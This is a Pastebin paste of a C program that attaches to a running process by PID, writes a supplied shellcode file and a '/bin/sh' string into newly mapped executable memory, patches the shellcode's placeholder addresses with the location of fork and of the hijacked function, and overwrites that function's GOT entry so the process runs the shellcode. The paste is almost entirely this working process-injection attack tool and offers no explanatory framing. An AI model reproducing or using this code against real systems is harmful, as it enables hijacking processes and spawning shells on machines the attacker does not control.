Advertisement
Guest User

Untitled

a guest
May 30th, 2017
833
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.34 KB | None | 0 0
  1. #define _GNU_SOURCE
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6.  
  7. #include <sys/types.h>
  8. #include <sys/stat.h>
  9. #include <sys/mman.h>
  10.  
  11. #include <fcntl.h>
  12.  
  13. #include "hijack.h"
  14. #include "hijack_func.h"
  15.  
  16. void usage(char *prog)
  17. {
  18.     fprintf(stderr, "USAGE: %s -p <pid> [-f <func> -s <shellcode>]\n", prog);
  19.     exit(1);
  20. }
  21.  
  22. int main(int argc, char *argv[])
  23. {
  24.     HIJACK *hijack;
  25.     FUNC *funcs, *f;
  26.     pid_t pid=0;
  27.     int ch, fd;
  28.     unsigned int i;
  29.     struct stat sb;
  30.     char *filename, *buf, *func=NULL;
  31.     char *p1;
  32.     unsigned long shelladdr, shellcodeaddr, gotaddr;
  33.     bool foundaddr;
  34.    
  35.     while ((ch = getopt(argc, argv, "p:f:s:?")) > 0)
  36.     {
  37.         switch ((char)ch)
  38.         {
  39.             case 'p':
  40.                 sscanf(optarg, "%i", &pid);
  41.                 break;
  42.             case 'f':
  43.                 func = optarg;
  44.                 break;
  45.             case 's':
  46.                 filename = optarg;
  47.                 break;
  48.             default:
  49.                 usage(argv[0]);
  50.                 break; 
  51.         }
  52.     }
  53.    
  54.     if (pid == 0 || (func != NULL && filename == NULL))
  55.         usage(argv[0]);
  56.    
  57.     hijack = InitHijack();
  58.     if (AssignPid(hijack, pid) != ERROR_NONE)
  59.     {
  60.         fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  61.         return 0;
  62.     }
  63.     if (Attach(hijack) != ERROR_NONE)
  64.     {
  65.         fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  66.         return 0;
  67.     }
  68.     /* Hijack function */
  69.     if (func != NULL)
  70.     {
  71.         if (stat(filename, &sb) < 0)
  72.         {
  73.             perror("[-] stat");
  74.             goto out;
  75.         }
  76.        
  77.         buf = malloc(sb.st_size);
  78.         if (buf == NULL)
  79.         {
  80.             perror("[-] malloc");
  81.             goto out;
  82.         }
  83.        
  84.         fd = open(filename, O_RDONLY);
  85.         if (fd < 0)
  86.         {
  87.             perror("[-] open");
  88.             goto out;
  89.         }
  90.        
  91.         memset(buf, 0x00, sb.st_size);
  92.         if (read(fd, buf, sb.st_size) != sb.st_size)
  93.         {
  94.             perror("[-] read");
  95.             goto out;
  96.         }
  97.        
  98.         close(fd);
  99.        
  100.         if (LocateAllFunctions(hijack) != ERROR_NONE)
  101.         {
  102.             fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  103.             goto out;
  104.         }
  105.        
  106.         if (LocateSystemCall(hijack) != ERROR_NONE)
  107.         {
  108.             fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  109.             goto out;
  110.         }
  111.        
  112.         /* XXX The following code is tailered to specific shellcode */
  113.         p1 = memmem(buf, sb.st_size, "\x11\x11\x11\x11", sizeof(unsigned long));
  114.         if (p1 != NULL)
  115.         {
  116.             funcs = FindAllFunctionsByName(hijack, "fork", false);
  117.             if (funcs != NULL)
  118.                 memcpy(p1, &(funcs->vaddr), sizeof(unsigned long));
  119.         }
  120.        
  121.         p1 = memmem(buf, sb.st_size, "\x33\x33\x33\x33", sizeof(unsigned long));
  122.         if (p1 != NULL)
  123.         {
  124.             shelladdr = MapMemory(hijack, (unsigned long)NULL, strlen("/bin/sh")+1, MAP_ANONYMOUS | MAP_PRIVATE, PROT_READ);
  125.             if (GetErrorCode(hijack) != ERROR_NONE)
  126.             {
  127.                 fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  128.                 goto out;
  129.             }
  130.            
  131.             memcpy(p1, &shelladdr, sizeof(unsigned long));
  132.             shellcodeaddr = MapMemory(hijack, (unsigned long)NULL, sb.st_size, MAP_ANONYMOUS | MAP_PRIVATE, PROT_READ | PROT_EXEC);
  133.             if (GetErrorCode(hijack) != ERROR_NONE)
  134.             {
  135.                 fprintf(stderr, "[-] Error: %s\n", GetErrorString(hijack));
  136.                 goto out;
  137.             }
  138.            
  139.             if (WriteData(hijack, shelladdr, "/bin/sh", strlen("/bin/sh")) != ERROR_NONE)
  140.             {
  141.                 fprintf(stderr, "[-] Error injecting shell: %s\n", GetErrorString(hijack));
  142.                 goto out;
  143.             }
  144.             if (WriteData(hijack, shellcodeaddr, (unsigned char *)buf, sb.st_size) != ERROR_NONE)
  145.             {
  146.                 fprintf(stderr, "[-] Error injecting shellcode: %s\n", GetErrorString(hijack));
  147.                 goto out;
  148.             }
  149.            
  150.             fprintf(stderr, "[*] Attempting to find %s (0x%08lx) in the GOT\n", func, funcs->vaddr);
  151.             fprintf(stderr, "[*] Shell @ 0x%08lx\n", shelladdr);
  152.             fprintf(stderr, "[*] Shellcode @ 0x%08lx\n", shellcodeaddr);
  153.            
  154.             funcs = FindAllFunctionsByName(hijack, func, false);
  155.             foundaddr = false;
  156.             for (f = funcs; f != NULL; f = f->next)
  157.             {
  158.                 fprintf(stderr, "[*] Looking for func in %s (0x%08lx)\n", f->libname, f->vaddr);
  159.                 gotaddr = FindFunctionInGot(hijack, f->vaddr);
  160.                 if (GetErrorCode(hijack) == ERROR_NONE)
  161.                     break;
  162.             }
  163.            
  164.             if (f == NULL)
  165.             {
  166.                 fprintf(stderr, "[*] No place in PLT/GOT. Cannot hijack!\n");
  167.                 goto out;
  168.             }
  169.            
  170.             p1 = memmem(buf, sb.st_size, "\x22\x22\x22\x22", sizeof(unsigned long));
  171.             if (p1 != NULL)
  172.             {
  173.                 fprintf(stderr, "twos are found!\n");
  174.                 memcpy(p1, &(f->vaddr), sizeof(unsigned long));
  175.             }
  176.            
  177.             WriteData(hijack, gotaddr, (unsigned char *)&shellcodeaddr, sizeof(unsigned long));
  178.         }
  179.     }
  180.    
  181. out:
  182.     Detach(hijack);
  183.     return 0;
  184. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement